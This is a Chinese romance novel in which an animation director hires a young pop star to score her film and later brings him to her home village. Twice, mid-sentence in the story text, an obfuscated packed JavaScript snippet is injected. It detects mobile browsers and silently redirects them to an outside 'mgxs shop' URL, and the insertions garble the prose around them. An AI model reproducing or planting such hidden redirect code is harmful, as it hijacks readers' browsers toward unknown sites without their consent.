《麦穗》 1. 尾戒 黄昏的光透过阳台打进书房,贺穗上下搓了把脸才算清醒过来。 说是眯一会儿,却一下子睡到了晚上。 贴在胳膊上的头发被她掀起,再哈气连天地趴在阳台上,自顾自抽了根烟。 深吸一口,吐出来。 第十三次说好要戒烟。 她又失败了。 远处体育馆挂着长长的蓝色横幅,整条街道几米一个旗帜,都印着同一张手持浅蓝色麦克风的帅脸。 “叮叮——” 正吹着风,书房的手机铃声响起,写着名字——姜孟雨。 “我的贺大导演,陈师傅的音乐就这么不让你满意?单一首曲子就改了八百回,人都要崩溃,大半夜地向我哭诉,说是不干了。” 贺穗笑了笑,打开免提将手机带进厨房放,说:“我可没说都不行,那个高潮片段画面和情绪都是全剧最有张力的地方,但他那个曲子太过舒缓根本不能把情绪带起来。” “那先写其他部分的曲子,就穿越那段的。” “可以啊,劳烦陈师傅了,”贺穗煎着鸡蛋,另一边烤着面包,说:“不过我觉得那一段很能定我们电影的情感基调……” 贺穗一顿,对面沉默了很久。 这边都快吃上晚饭了,她还没回话,贺穗说:“怎么了?卡了吗?” “你说……”姜孟雨笑道:“要不这个曲子换个人写吧,你觉得呢?” 贺穗也不拒绝,只是边吃饭边笑着回答:“可以啊,你是不已经有人选了?” 话音刚落,电话就被挂断随即传来的是大门被打开的声音,姜孟雨大包小包地提进来,没等放下,就“嗖”地如瞬移般站在撑在贺穗面前。 极其虔诚地抓住贺穗的手,再郑重地开口:“安时年,独立音乐人,当红歌手,你要不要?” 她像呼啸而来的拖拉机,顾不上关门,大包小包的购物袋哗啦啦地飞进来,把话叽里呱啦地说完,再抢劫似地喝完贺穗的水。 像是说完下一秒就能立马把这人揪来。 贺穗被问地发懵。 对她这种离娱乐圈十万八千里的人来说,别说“安十年”,叫“贺十年”她都不带注意。 听见窗外这几天放的宣传劲曲,才把名字和外面广告屏上的脸对上号。 “不行。” 贺穗斩钉截铁,瞬间拒绝。 还没等姜孟雨来打马虎眼,贺穗接着说道:“我那电影说到底算半个文艺片,而且这个片段我要钢琴曲,你找个rapper来写?” “不是rapper,是创作型音乐人!” 姜孟雨义正言辞地回答,反而把贺穗逗笑了,她吃完手里的三明治,笑道:“好好好,音乐人,音乐人,不过我们风格是真的不搭。” “搭不搭的了解了才知道,今天是他最后一场巡演,离得不远,你今天不去公司,天时地利人和,陪我去看吧,正好听听歌。” 贺穗收拾起碗筷:“不去,分镜需要修改的部分我还没看完……” “不去也得去!” 姜梦雨一把拿下贺穗的碗筷,哩哩啦啦的购物袋成了她文官大臣滔滔不绝的广袖,利弊讲完见依旧不为所动的贺穗,她扬手一挥:“反正陈方好的曲子看不上,怎么着这部分都得找新人,这可是我们重头戏的曲子。” “可是他不合适。” 贺穗揽过这个大忠臣的肩拉到阳台边,抬起手指带着点指点江山的豪迈,从左到右,所见之处都是蓝色的应援牌。 再把手拢成小喇叭支在姜孟雨耳边。 “你听,我家这几天放的都是他的劲曲,他什么风格我能不知道吗?” “他是音乐制作人,各种叫得上名字的乐器他都会,最近爆火的短视频用的都是他新歌的片段,写个曲子不费事的,”姜孟雨眨巴着大眼睛,莫名其妙低声说,“说不准我们会擦出不一样的火花,而且他热度这么大,我们宣传费能省不少。” 贺穗颇有兴趣地看着姜梦雨,眉眼一抬右手伸到姜梦雨前,食指与大拇指“调皮”地搓了搓。 再讲艺术也得用俗物开道。 姜梦雨眯起眼睛,了然地直起身,手往兜里探,笑眯眯地拿出两张票。 “内部票,大包厢,有姐在,他一首歌敢贵到什么地步。” 两人眼神一对,贺穗也明白她是什么意思。 她挽着贺穗推进衣帽间:“快快,换衣服。” 天色缓缓暗了下来,外面霓虹灯光闪耀,粉丝的长队几乎要排到贺穗家楼下。 “走着去吧,开车也不方便。” 贺穗深色长发及腰,换了一身简单的白T牛仔裤在门前换鞋,她看着简单温婉,袖子挽起,常年健身练起的肱二头肌若隐若现,半臂处是早年纹上的蝴蝶荆棘。 “你……”姜孟雨抬眉看了看她。 “怎么了?”贺穗拿过门口挂着的长风衣穿上,又带了顶鸭舌帽。 “你真不喜欢女的?” 贺穗被她一句话僵在原地,满脸无语道:“我的姜大姐姐,我前男友刚分没几年,不要搞这些刻板印象好不好。” “这不是你穿的太酷了,也不见你谈男朋友才问你吗。”姜孟雨笑着摆摆手。 贺穗闻言立起手,指着小手指的尾戒:“而且我都快成不婚主义了,你还考虑我喜欢男的还是女的。” 肩膀被姜孟雨拍过,先一步开了门,她对贺穗说:“一般带上这个,离被摘下来也不远了。” “好吧。” 贺穗耸耸肩带上房门回道。 她不是很爱反驳的性子,也不着急,觉得事情总能做好,就是需要的时间长点。 也可能是到了事业,生活都稳定的三十一岁,什么事都尽在掌握。 二十五岁自己创作的动画短片就拿下二十多项国内外的大奖,她就注定要走动画这条路,后来创立工作室,各种短片还有广告做了很多,这次《觅寻》是她第一次正式做动画导演。 从几行剧本到试播片段再四处奔走拉投资,两三年下来终于可以带着团队着手做了,又被配乐磨合地头疼。 两人随着队伍走到体育馆,到了广场才让两个人傻眼,先不说作为本地人找不到路口的荒谬,擦肩而过的女孩们全都穿得很是漂亮。 金黄的头发,蓝色的小卡子,还有蓝色蓬蓬裙,即便不是裙子也是穿得带有蓝色元素。 贺穗和姜梦雨两个人像是误闯进大世界的散修,站在人群里有些鸡立鹤群的意味。 姜梦雨:“这个是化妆舞会主题的演唱会吗?” 贺穗笑笑:“先不说这个,门在哪儿?” “我打电话问问,你等会儿我。” 两个散修申请场外援助,等得百无聊赖,贺穗往远处瞧了瞧。 支起的小摊闪大大的“安”字,摊位上很多小女生带着“安时年”名字的头箍,在后面叠小卡。 “你是来看演唱会的?”一个女生问道。 贺穗点头。 “那一起来写这个吧!” 那女生笑着递来一张便利贴。 “写什么?” “就是你想对安时年说的话,写下来他会看到的。”女生指着身边硕大的透明箱子,半桶的浅蓝色便利贴已经在里面了。 贺穗提起笔不知道写些什么,毕竟也不是他的粉丝,感觉怎么写都像是假的。 许是她心虚的太明显,那女生很温柔地说:“不知道写什么,就写自己的愿望或是对自己说的话,没关系。” “贺穗,找到路了!”身后传来姜孟雨的声音。 她匆匆忙忙地写下几个字扔进玻璃箱里,将笔递给那个女孩,才回过身。 昏暗的天色下,烟花扎起,四周的女孩带着闪烁的蓝色头箍欢笑着纷纷向一个方向跑去。 “演唱会开始了!” 贺穗向姜孟雨走去,人群从后方涌来猛地将她撞到,她几乎也在同一个瞬间被扶起。 一帮女孩围住她:“姐姐,你没事吧?” 她们穿得大同小异,金黄的头发,浅蓝色的小纱裙,还有头上白色的长纱。 烟花的爆声接连不断,体育馆的大屏上闪烁着“大梦”两个字。 到了包厢,贺穗真是恍惚大梦一场。 包厢几乎可以看到整个观众席,在贺穗眼里成片浅蓝色的应援棒统一闪烁着,像是跳动的心脏,湖面汹涌的潮汐。 唢呐出场,引得全场沸腾。 带着鲜红色的大屏,写着“大梦”两个花字,这是这场演唱会的主题。 “《长叫》是他真正开始火的歌,已经六年多了。” “我听过这首歌。”贺穗说着。 在她刚从伦敦领了奖项的同一年,正是这首歌发行的时期,安时年带着冲劲儿的唢呐一举拿下那年的最佳男歌手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372323|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 震耳欲聋的唢呐让贺穗想起自己那年的短片,少女凭着一腔热血对抗世界不公,捅破了天,唤醒女娲重现补天。 带着东方色彩的短片,从视觉和故事上都一发惊人,像她短片的少女一样,贺穗无所畏惧地冲上了世界动画的高台,到了如今却成了她下不来上不去的桎梏。 大屏的鲜红转为青蓝色,唢呐声也渐渐降下来与吉它声相接,整个体育场陷入一场只有吉他声的寂静。 下一刻,场馆里炸起彩带伴着少女们的欢呼声,安时年从场中跳起。 一头金黄的发型,穿着破了洞的蓝色钩针外套,手握麦克风,清亮的嗓音唱着RNB。 应援棒随他的鼓点而动,全场齐声叫着他的名字。 贺穗从没来过演唱会,更是被这样的场景激起一身鸡皮疙瘩。 互不相识的一群人,带着对同一个人的满腔爱意汇聚成闪烁的海洋,向一人汹涌。 “哈哈哈哈,怎么样?这也是他自己的原创。” 姜孟雨欢呼着看向她。 贺穗笑着点了点头,随着人流挥舞着应援棒。 “小年!小年!” 闻言她向身边的包厢看去,盘起头发的女士高举着应援棒,在她身边端坐着一位中年男人,头上戴着应援发箍,随着声浪不情不愿地挥舞着应援棒。 浅蓝色的彩带飘随风飘来,包厢下的女孩子纷纷放下手机,抬着胳膊向着彩带伸手,等它轻轻地落在掌心。 贺穗的目光被吸引,同样看着彩带。 会过来吗? 她心里想着。 抬眸看着,一动不动。 青蓝色的彩带左右摇摆,就这么晃着。 会过来…… 片刻后,场上因安时年全新造型而欢呼。 而那条彩带就那么稳稳落在她的肩膀上,点起她心中的涟漪。 贺穗低头笑着,又看了看台上在弹奏钢琴曲的男生。 她拍了拍姜孟雨,“你联系一下,问问合作的事情。” 演唱会结束,贺穗两人在包厢吃着甜点,等人走得差不多了再出去,不至于挤着。 姜孟雨问道:“你真的决定了?” “对啊,不过你也得看他方不方便。” 姜孟雨拍拍胸膛,笑道:“这你就放心,我百分百搞定。” 她向外看了一眼,人都走得差不多,贺穗说:“走吧。” 两人一前一后出了包厢,隔壁的两口也走了出来,贺穗关门之际与那位女士对视一眼,她一身得体的大衣,脖颈间浅蓝色的丝巾搭配得恰到好处,随手把包递给身边的男士,开始整理自己的手套。 与贺穗对视上的瞬间,她浅浅微笑点头打了招呼。 和演出过程中在包厢看到的简直两模两样,贺穗心里想着,略显尴尬地微笑点头回应了对方。 走廊处的工作人员抬手示意,二人停下。 贺穗不明所以地也跟着站住,顺着走廊里处看去,过道尽头一个穿着白色卫衣的男生跑来,站在隔壁那两夫妻面前。 安时年? 贺穗心里诧异道。 他卸了夸张的舞台妆,穿得清爽干净,黄发遮住眼睛,满脸笑意地跑过来。 细看之下,他耳朵上带满了耳钉和一个垂下来的浅蓝色宝石耳环,两只手上嘻哈朋克风的戒指就有七八个。 “那是安时年吧?”姜孟雨凑到贺穗耳边问道。 贺穗点点头,再转过脸看,姜孟雨以迅雷不及掩耳之势补好妆,从包里拿出名片上前走去。 “安老师,您好!” 她一步步上前,笑着介绍自己,两人交谈着递上了名片。 姜孟雨向贺穗示意,“这是《觅寻》的导演贺穗。” 贺穗先一步伸出手,标准社交式的微笑说:“您好,我是贺穗。” 走进了贺穗才看明白他这张脸,简直比大屏幕上小得多,说是歌手当个爱豆也够格。 心里的胡言乱语被面上的一本正经压住,主要还是对方手上的戒指太多,贺穗感觉在跟一个铜墙铁壁握手。 握得手凉。 松开之际,贺穗的尾戒被他中指的长戒勾住。 两人一瞬间顿住,面上笑得各有特色,暗里为两个戒指的难舍难分心慌。 猛地一挣开,她独苗苗首饰就这么在眼皮子底下掉落。 就这么…… 掉了? 2. 不搭 贺穗开着车,听着导航的方向驶上立交桥。 依旧是姜孟雨打来的电话,“你去了吗?” “已经在路上了。” 自从上次演唱会结束,本想和姜孟雨一起约他,没想到临到头一场大雨加晚高峰的堵车,让贺穗错过了洽谈的饭局,只能托姜孟雨表达歉意。 也没料到姜孟雨合作谈的异常顺利,安时年当场就签了合同。 这次带着致歉和谈剧本的由头,贺穗亲自拜访安时年的工作室。 “那你好好聊,别再聊崩了。” “我怎么会聊崩?”贺穗笑了笑,“你给陈方好说一声,我真不是嫌弃他的曲子不好,只是那一段和他的风格不搭。” “你就是嫌弃!!”电话另一边陈方好的声音传来,听着还带着哭腔。 贺穗打着方向,对陈方好出现在姜孟雨身边也不惊奇,说:“我们是合作,合作当然是为了作品能更好,不过不带你这样告状的。” “谁——” 陈方好的声音被盖住,电话那头传来的是姜孟雨的话:“你别理他,我给你说安时年跟我们这次合作减了一半的费用。” “真的?你这三寸不烂之舌又进步了?” “对啊,我这三寸不烂之舌把故事情节讲得绘声绘色,他听的聚精会神,看着很感兴趣的样子,被我们的故事打动了之后痛哭流涕,直接签下了合同,还说只要一半的费用。” 安时年有没有痛哭流涕贺穗不知道,现在贺穗对她的添油加醋只有全盘笑着接受的份。 “好好好,看来你真是大有进步。” “那当然,话说你的戒指他还你了吗?” “找都找不到,他还什么,而且也不贵,我自己再买一个就行。” “行行行,你洒脱,我再不说什么了,你专心开车。” 说起尾戒,她早就知道在哪里。 没去要罢了。 在演唱会掉落的瞬间,她凭着本能去捡,却不料和安时年撞在一起,两人各自捂着脑袋,走廊围着的工作人员还有没走远的粉丝,笑声环绕,当时贺穗尴尬地只想找地缝儿钻进去。 再低头去看,戒指已经没了踪迹。 说是掉进异世界的黑洞也差不多。 后续她回去找过,却遇上安时年在那里拿着自己的戒指对着光看,看着那一个小小的黑色尾戒,又笑着握进手里。 贺穗在拐角处站了很久,直到安时年被助理叫走,她都没有上前去要。 吹着夜里的晚风,走回家去了。 今天应该会给我吧。 贺穗想着,车已经开到了安时年工作室楼下,他的经济人李昌已经在门口等着。 她带上文件下了车。 李昌说:“贺导,我带您上去吧。” “谢谢。” 整个工作室很大,旋转楼梯的一侧悬挂的皆是安时年自出道以来发过的歌曲。 出道八年,他发过的专辑很多,才走没两步贺穗便停了下来,目光被《长叫》的封面吸引,安时年只露出了半边脸,黑发将其包裹眼里满是野心。 李昌:“这是时年第一部很有成绩的专辑,也是凭借这首歌让他有了知名度,您听过吗?” 贺穗点了点头,“听过,我很喜欢。” “真的?” 楼梯的尽头,安时年站着问道。 他今天摘了乱七八糟的戒指,仍然戴着耳坠。 他三两步从楼上跑下来,站到贺穗面前,闪着大眼睛,又问了一遍:“真的?” 贺穗被他突如其来的靠近冲得有些猛,一刹那还能闻到他身上淡淡的橘子味。 她强装淡定地回道:“为了这次合作,我把您的歌都听了,这首歌……我很喜欢。” 贺穗随手将手上的文件递给他,又看了看表:“先谈一下曲子的事情吧安老师,我等会儿还有工作要处理,可能有些着急。” 走上顶层是一个硕大的录音棚,各种乐器放在里面,打开门的正中间放着的是一架钢琴。 安时年带贺穗到一旁的沙发,随手拿了杯茶过来,自己则转身坐到琴凳上,手掌覆在琴键上,随手弹了段旋律。 “我听陈方好说了点,您对这个片段的曲子很有要求。” “我对每一部分都很要求。”贺穗又从包里拿出一个密封的文件夹拿出来。 “我刚给您的文件是电影的情节梗概和剧本,您先找找感觉,具体配乐的那一段场景,动态分镜我昨晚已经发给您了。”贺穗说着把手里的文件夹推过去,“这是场景与镜头的画稿。” 安时年点点头不说话,低头翻看着剧本,坐到贺穗身边来。 “为什么非要钢琴曲?”他抬手指着贺穗画出的黄色部分,冷不丁发问,他接着说:“分镜我已经看过了,这一段是全剧的高潮,钢琴曲能达到推进情感效果,但有时可能没有其他管弦乐来得深刻。” 他指着剧本说:“你看这一段,广阔的草原上晨光拉开,难分黄昏与朝阳,只见青黄交接处,母亲弓身的背影与身下啼哭的孩子,我明白母亲又一次选择生下了我。场景与情感都是很宽很紧张……” 安时年说得词不达意,为难地挠挠脑袋。 “您这个问题我和陈老师的团队也讨论过,他为了这个片段也写了不少曲子,但无论是纯钢琴曲还是带了管弦乐的编曲,都没有达到我心中的那个情绪。” “什么情绪?”安时年问。 贺穗微微一愣,笑道:“我还是不说了,时间还长您自己感受一下,也许您的想法更好呢?” 贺穗不安地看了看手表,已经快到了后面工作的时间。 她起身说道:“不妨先写几版我们碰撞一下,我也不是非要纯钢琴曲,只是一直找不到能表达这段情感的具体的音乐。” 她匆忙喝了口茶,包里的手机又响了起来被贺穗尴尬地一手按下。 “没关系,你接就好。” 安时年跟着起身,贺穗则是摆了摆手,说:“对了,很抱歉洽谈的时候我没有到场,下次有机会的话我请您吃饭。” “好啊,我这半个月,随时有空,只看您的时间。”安时年绅士地为贺穗拉开门。 “好,不用您送了,我们微信联系。” 贺穗扶着扶手下楼梯,就听见身后的安时年叫住她。 “贺穗导演!” 旋转楼梯的上下没有遮挡,贺穗不解地抬头看向他。 “怎么了?” “戒指,让我赔一个吧。” 贺穗一时愣住,忙里偷不着闲把这事给忘了,可戒指她明明亲眼看见被安时年拿走了。 她更不解地歪歪脑袋望着安时年。 难道是又弄丢了? 他顶着黄色头发,叮叮当当的耳饰,低头看着下楼的贺穗,他脖子里挂着的项链也悬挂出来,要笑不笑地看着贺穗。 “什么?” 贺穗问。 这下轮到安时年一愣,他结巴连两下,还没说出个所以然,就被贺穗笑笑打断他的话。 “不用,安老师,不值钱。” 说罢她便下了楼,留安时年在空荡荡的房里站着,他缓缓掀开窗帘的一角,看着从工作室下开远的车。 他六年前就知道贺穗是谁,在闭塞的出租屋看完她如梦似幻的短片《通天路》,才让他鼓起勇气写出《长叫》,这首歌也真的为他铺了追梦路的第一个台阶。 远处的车早就不见了踪迹,他还停在窗帘后面,从口袋拿出小小的戒指,握在手心。 只是收藏一下…… “我真不明白你,好好的休假,自己接个累人的活。”李昌端着果盘进来,坐在沙发上。 “人都走了,你的果盘来了。” 安时年顶开李昌,自顾自地吃起水果。 李昌:“我可告诉你了,唐兴电影手下那么多大制作,这个动画他们根本不上心,叫你来多半是为了宣传,而且陈方好为了这电影的曲子很是头疼,你因为这个浪费自己的休假,得不偿失。” 安时年用叉子吃着芒果,一边看着手里的剧本,“别打扰我,你是不想要休假了?” “要要,你不要我要,”李昌摇摇晃晃扒着大门,“反正话我先说到位。” 大门被关上,整个三层的阁楼只剩下他一个人。 看完剧本他从沙发坐到琴凳上,四周漆黑,黄昏的金黄从窗帘透进来,洒在他的钢琴上。 安时年将贺穗画的概念图放到琴架上,闭上眼睛感受电影里女主的情绪,手搭在琴键上,开始一段即兴。 《觅寻》是贺穗的原创剧本,讲述的是与母亲春筝儿发生争吵后的少女春余,离家出走遇上时空穿越,回到了母亲十九岁的时期,她拼命地阻止母亲生下自己,在所有人的阻碍中,母亲仍然坚定地生下孩子,并带着孩子离开村庄,自谋生路,最后她回到了原本的时空。 安时年要写的曲子是春余为了阻止母亲生下自己而追出去,最后母亲逃离到广阔的草地上怀抱着刚生出自己, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372324|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到母亲欢喜的神情时,她的世界崩塌、崩溃,与新生的自己在金黄的阳光下一同哭泣的场景。 这让他想起《通天路》的片段,里面的女主带着对不公的争辩,凭借自己的力量捅破了天,来寻找那一丝的公正。 即兴一曲弹完,他的手沉沉地落在琴键上。 手摸着琴键,他又是一愣。 坏了……刚弹的没录下来。 抬头一看,角落的监控让他松了口气。 写下曲谱,他又重新开始修改,整个录音房处处是他的琴声。 日升月落,双手弹奏的曲调传入贺穗的办公室中。 时间已经过了半个多月,安时年交了第一版曲子。 她在夜晚拿着奶茶撑在阳台上,听着安时年的钢琴曲。 初秋风还不算大,但安时年的曲子如狂风袭过,不留情谊。 贺穗喝下手里的最后一点奶茶,陈方好的曲子太柔,缺了新生带来的痛苦与狰狞,而安时年的曲子过于激动强大,缺了交织参杂的柔情。 或者说缺点缓和的人味。 “唉……”贺穗轻轻叹了口气,“年轻人怎么这么有冲劲儿。” 他今年二十五岁,我画《通天路》的时候也是二十五岁。 一想她倒也能理解,毕竟这么年轻当然无所畏惧。 像偷藏她戒指一样的理所当然。 还是不太行。 正想着她的门被敲响了,贺穗捻了烟,走进屋里。 办公室的三面墙三个板块上贴满了画出的分镜手稿和一些工作流程,地上堆起的手稿,快让人没了下脚的地方。 进来的是配音导演明成,给贺穗送来明天的配音演员名单。 为了让动画人物的情感给贴切,贺穗想根据配音演员的表演去修改动画人物的神态。 “听曲子呢?” 贺穗点点头。 “陈方好新出的几版我听了还挺好的,你定了吗?” 贺穗翻看着配音演员的名单,“只定了一首,现在这个是安时年负责的那个。” 曲子走到最顶的部分,几乎在赤裸裸地争辩。 “他这也太凶了。”明成听着笑了笑。 “你都听出来了。” “钢琴曲都这么带感,加上打击乐岂不是更热血?” 明成手比着敲鼓地姿势,贼兮兮地跟着曲子走。 “那我们要爆改热血番了。” 明成说:“我可做不动热血番,要回家陪老婆孩子了,你忙吧大导演。” 贺穗躺倒在椅子上,目送他出门,拉着长音道别:“再——见——” 她打开手机,点到和安时年的聊天界面。 【抱歉,过于激进了,请重新修改。】 贺穗望向打着暖光灯的天花板,昏昏沉沉地闭上了眼睛。 时间又推了半个月。 最新一版的曲子呈上来,听完陈方好的,听安时年的。 一如既往,她留下陈方好的,打回去安时年的。 有人欢喜有人忧。 安时年看见消息的那刻,克制地压下嘴角,把手机放回兜里。 刚从星光璀璨的时装周下来,就马不停蹄地买了回家的机票。 毕竟是一个月一首曲子换九版的大神,是自己偶像他也撑不住。 他穿好外套带了帽子和口罩。 开着车直奔贺穗的工作室。 本是气炸了天,但看见工作室的人,还是低头弯腰打了招呼才进来。 “您找谁?” “你们老板,贺穗。” 他一只手指敲着前台的桌面,不耐烦地等着。 “抱歉,我们老板不在。” “那她什么时候回来,我在这里等。” “抱歉,老板出差了,一时半会儿来不了。” “出差?!”他声音一大,身边人的目光皆被他吸引过来。 他压着帽檐向周围人致歉。 安时年扶着额站了一会儿,周围的视线逐渐聚过来,听见周围人的窃窃私语,再站下去他就要上热搜了。 回到车上,他手扶着方向盘,消沉下去。 良久,拿出手机拨通了电话。 手机铃声在空荡荡的车里响了好久。 “喂,您好。” 贺穗含糊的声音传来,嘴里好像还含着什么东西。 安时年握着方向盘深呼一口气。 “那个……你在哪里,我们谈谈?” 3. 买梨 从早上开车到下午,山路拐了几个弯,才接近贺穗发来的位置。 “前明村……还没到?” 安时年看着手里的导航,上不了高速只能走国道,国道不够又穿进小巷子,到了一山脚下,安时年不由地取下墨镜。 导航指着路盘山而上,要翻过这座山。 他站在水果摊旁,抬头看着这骑三八大杠都控制不住方向的路。 自诩是开车的老手,可看着还是不免有些发怵。 这到底是哪儿? “小伙子,来个梨不?” 一旁的大娘举着梨走到他身边问道。 “啊?” “梨,小伙子,甜的,你尝尝。” 他看着大娘弯着腰背了一箩筐的梨,又抬头看了看山路,天色已经肉眼可见的暗了下来。 “大娘,全给我装起来,你也早点回家吧。” 大娘看了他一眼,“哎呦,你也吃不下。” “没事,我家里人多,分分。” 话音还没说完,回过头,大娘已经装完三个大袋子,看着他嘿嘿一笑,“小伙子,装哪个车啊?” “呃……”安时年尬笑两声,用墨镜把前额的头发撩上去卡住,又把格子衬衫系在腰间,拍拍手说:“我拿就行,您回家去吧。” 他一个人弯腰接过大娘手里的梨,正要一鼓作气地提起,一旁一件灰色针织外套的边角轻轻拂过他的脸颊。 他闻到极淡的烟草味夹杂着衣服上皂角的清香,随着风飘过来。 挽起针织袖子的胳膊擦过他的手,提起一袋子梨。 “放我车上吧。” 贺穗冷清清的语调,说罢按下车钥匙,不远处的白色越野车闪起车灯。 他眼前一亮立马跟上贺穗的步伐,诧异道:“你……你怎么来了?” “这个路天黑走不了,我过来接你,”贺穗打开后备箱,一整袋子梨抬上车,她一头雾水地问:“不过你买这么多梨干什么,给我送礼吗?” 离了工作的环境,贺穗的穿着也更加休闲,说起话她没提着那副官腔,安时年也就松懈下来。 “我看那个大娘……” 安时年回头指着刚才的摊子,那大娘竟从身后的大院里又背出一箩筐梨。 他一言不发地摘下墨镜带上。 “我想吃梨了。” 贺穗靠着车,摇了摇头笑道:“你不会以为大娘的梨是从这山路背下来的吧?” 他整理着后备箱的梨嘴硬道:“我就是想吃梨了。” 贺穗点点头,关上后备箱:“上车吧。” 安时年一愣,“那我的车呢?” “在这儿停着就行,这个路你开不上去。” 天色暗了下来,他摘掉墨镜想了想,“行……吧……” 安时年上了车,系上安全带,两手抓着顶部的把手,目视前方,一眼不看贺穗。 “给。”贺穗扔来一个黑色塑料带。 “我不会吐的。” 贺穗也不看他,自顾自地发车,“行,我开得有点快,你适应一下。” 车一发,他猛地靠在座椅背上。 几个拐弯跑完,安时年才意识到她说的快,是有多快。 基本是左边还没坐热就被甩到右边。 在安时年看来是快要冲下悬崖,刚想说话,又看了看贺穗的神情很是淡定,他也只能抿着嘴唇,脚在副驾驶的位置狠狠前撑,踩不存在的刹车。 又一个掉头转弯,擦着悬崖的边缘。 盘山而上的路她开了十分钟就到了顶。 最后在单行道的隧道,走了一会儿平路,安时年才松了口气,开口道:“你以前开过什么?” “练过几年赛车。” “赛……车?”安时年紧紧抓着安全带,看向她。 一切游刃有余,尽在掌握。 她好像真的能有开山破天的本事,像六年前短片的女主角。 贺穗穿着白色打底,外套是件灰色的针织衫,细小的黑色皮筋扎住长发搭在颈后,目视前方,双手握着方向盘。 “别看了,抓好!” 隧道一出是急转直下的弯道,她猛地打方向盘。 “怎么还有!”安时年喊道。 “快了,快了。” “别那么快!” 贺穗被他的尖叫逗笑:“我的意思是快到了。” 翻过山天色亮了不少,是刚才的山把太阳挡住了。 “前明村到了,导航到此结束,祝您旅途愉快。” 夕阳西下,风吹着眼前的草浪汹涌地翻滚。 最后车停在路边,安时年惨白着脸,匆忙翻出之前扔掉的塑料袋,扶着车门吐了半天。 贺穗在一旁守着他,身后从山上下来的车一辆接着一辆,从他们身边穿过。 “穗姐,回来啦?” 路过的小皮卡上副驾驶的男生靠着车窗问道,一边问一边把车停在她后面。 “啊,刚回来。”贺穗淡淡回应道。 这是贺全涛,在贺穗一辈里是最小的,大家都叫他幺涛儿,他爸是贺穗的亲舅舅。 “我就说这车看着眼熟,还真是你的,幸亏是你开路,要是个新手,我和我爸又得在山外过夜了。”说着他拿出一盒子烟伸向贺穗,“来一根,我记得你抽这个。” “戒了。”贺穗回道。 说着她的目光放在贺全涛身后,那个从驾驶下来两鬓斑白,嘴角法令纹拉到下巴,皮肤深褐色的男人身上。 他走到跟前嘴角还是耷拉着,一句话也不说递上根烟。 贺穗怔愣着接过。 他从贺穗小时候就是这副模样,一板一眼很少同贺穗说话。 贺穗的母亲过世后,就更没说过。 他从兜里掏出打火机,点燃火看着贺穗。 这下连贺全涛都愣住了,反应过来才解释道:“不,爸,她戒烟了。” 贺春生尴尬地将打火机揣回兜里,“哦,嗯……常回来,幺涛儿的女娃娃半岁了,见见。” 他说完,转身拍拍贺全涛的肩,又回车上去了。 贺穗摸着手里烟的烟蒂,塞回兜里。 贺全涛撞撞贺穗的肩膀,“对啊,来我家看看呗,我丫头你还没见过呢。” “待不了几天,这阵子村里草长得好,我来拍几张工作用的照片……顺便看看我妈。”她转身打开驾驶座的门,翻找着,“你等一下。” 正找着,另一边安时年总算缓过劲,扶着车走过来,与贺全涛对视上。 “嚯!”贺全涛睁大眼睛,“穗姐你带男朋友来了?小伙还挺帅!” 安时年脑子迷迷糊糊,光听明白夸他帅,还谦虚地摆摆手,“谢谢啊。” 男朋友? 贺穗从车上下来挡在他们两个人面前,“这是我同事,一块来拍照片的,幺涛儿,这个你拿着。” 她扔给贺全涛一个鼓囊囊的红包,“我也不会挑什么礼物,红包给孩子喜庆。” 安时年手搭在贺穗的肩膀上,晕乎的气声在她耳边问道:“什么同事?” 他的耳坠带着若有似无的凉意擦过贺穗的脖颈,让她小小地摆过脸。 安时年被推开撑住,贺穗另一只手猛地打开车门,两下将人扔进去。 嘟嘟—— 身后的皮卡车打起车喇叭催促着。 贺穗向贺全涛招手道:“行了,你快回去吧。” 总算赶走了人,她重新回到车上。 安时年不知道是晕倒还是睡着,就这么闭着眼睛头靠在驾驶座的一方 “喂,你好点没有。” 他没有回话, 密闭的空间里是安时年浅浅的呼吸,他耳侧浅蓝色的耳坠被光打亮闪烁着,像贺穗在那场演唱会见到的一样。 还有一阵浅浅的橘子味。 贺穗打开窗户看着车来车往,沉默了良久。 给安时年系上安全带后,她发车向家走去。 等安时年再睁开眼已经是晚上,长时间蜷缩在车里,他稍微动了一下脖子就一阵吃痛。 往驾驶位一看,贺穗正拿着平板一本正经地处理文件。 “醒了?”她问道。 “嗯。”安时年点点头,她是一直在等我吗? 贺穗感受到他的目光,像那天在楼梯上,今天下午的车上, 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打开全屋灯光,是个挑高三层的小别墅,木制地板,昏黄的落地灯,客厅中央放着拼色沙发,茶几上还放着今早贺穗出门前翻开的几本书,另一边是开放式的厨房岛台,各种厨具一应俱全,格纹台布盖在微波炉上,一侧的花瓶上还插着新鲜的花。 最引人注目的还是一进门就能看到的整面墙的深棕色书架,一旁还摆着木梯子。 安时年手里的梨一下子掉落,滚了一地。 “唉!” 跟在后面关门的贺穗见满地乱滚的梨,一声惊讶也不去捡,而是一巴掌拍在安时年的后脑勺上,抬了抬下巴,“捡梨啊。” 他说着“抱歉”蹲下捡梨。 贺穗换了鞋走进厨房,收拾起冰箱,给他三袋子梨腾位置。 东西搬出来转身放在岛台上,抬眼一看,安时年站在玄关处提着半袋子梨不进来,金色的头发盖住眉眼,好在他眼睛大,离得老远贺穗都能看清他的神情。 她皱着眉头,打量了一下有门高的人。 试探性地开口,“没鞋?不能进?掉了一地梨,不好意思说?” 安时年略显尴尬地点了点头。 